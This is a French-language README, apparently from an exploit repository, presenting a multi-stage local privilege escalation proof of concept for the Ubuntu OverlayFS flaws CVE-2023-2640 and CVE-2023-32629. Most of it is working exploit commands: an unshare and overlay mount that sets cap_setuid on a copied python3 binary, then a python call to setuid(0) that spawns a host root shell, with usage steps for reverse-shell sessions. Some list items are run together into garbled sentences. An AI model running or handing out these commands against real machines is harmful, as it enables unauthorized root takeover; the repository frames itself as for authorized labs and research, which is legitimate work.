
Un exploit propre et interactif en plusieurs étapes d'escalade de privilèges locale (LPE) pour Ubuntu OverlayFS (GameOver(lay)) qui échappe au bac à sable de l'espace de noms utilisateur pour obtenir un véritable shell root de l'hôte.
Une preuve de concept (PoC) interactive et en plusieurs étapes d'élévation de privilèges locaux (LPE) ciblant les vulnérabilités OverlayFS du noyau Linux Ubuntu (CVE-2023-2640 / CVE-2023-32629).
Contrairement aux one-liners automatisés standard qui piègent votre shell interactif dans un espace de noms utilisateur restrictif (Fake Root), cette méthodologie divise la séquence d'exploitation pour délivrer en toute sécurité un véritable shell root hôte sans restriction.
De nombreux exploits publics enchaînent la configuration et l'exécution en une seule séquence shell automatisée comme ceci :
unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"
Étant donné que la charge utile d'exécution Python est intégrée dans les guillemets doubles de unshare, elle s'exécute en interne dans le bac à sable de l'espace de noms utilisateur.
uid=0(root), mais votre shell est cryptographiquement isolé de l'hôte. Si vous essayez d'afficher le répertoire root de l'hôte (cd /root), vous obtiendrez une erreur Permission Denied.Ce PoC divise le processus en deux étapes logiques distinctes :
unshare pour simuler les privilèges root juste assez longtemps pour exploiter la faille ovl_copy_up d'OverlayFS, en divulguant une capacité haute privilège setcap cap_setuid+eip dans un dossier binaire Python local.os.setuid(0), et vous confère de véritables privilèges d'administration système au niveau de l'hôte.ovl_copy_up_meta_inode_data du noyau Ubuntu permettant de contourner entièrement les contrôles de validation lors de la migration des fichiers.6.2.0-26-generic.exploit.sh sur la machine cible (par exemple, dans /tmp).chmod +x exploit.sh
./exploit.sh
Si vous travaillez sur un shell inverse volatile, exécutez ces commandes complètement séparément, en appuyant sur Entrée après chaque ligne :
# 1. Nettoyer l'environnement de travail
cd /tmp && rm -rf l u w m
# 2. Forger la backdoor dans le bac à sable temporaire de l'espace de noms
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"
# 3. Déclencher l'exécution sur l'hôte réel pour obtenir le vrai root
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Vérifiez vos véritables privilèges en consultant votre profil utilisateur actuel :
whoami
cat /root/root.txt
Les mécanismes d'exploitation de base utilisés dans ce remaniement interactif ont été découverts et documentés à l'origine par les chercheurs en sécurité Liav Eliyahu et g1vi.
Ce dépôt a été créé strictement à des fins éducatives, de recherche en sécurité et de tests d'intrusion autorisés (comme les laboratoires HackTheBox / OffSec). L'auteur décline toute responsabilité en cas d'utilisation abusive, de tentatives d'accès non autorisées ou de dommages à l'infrastructure causés par ce matériel. Utilisez-le de manière responsable.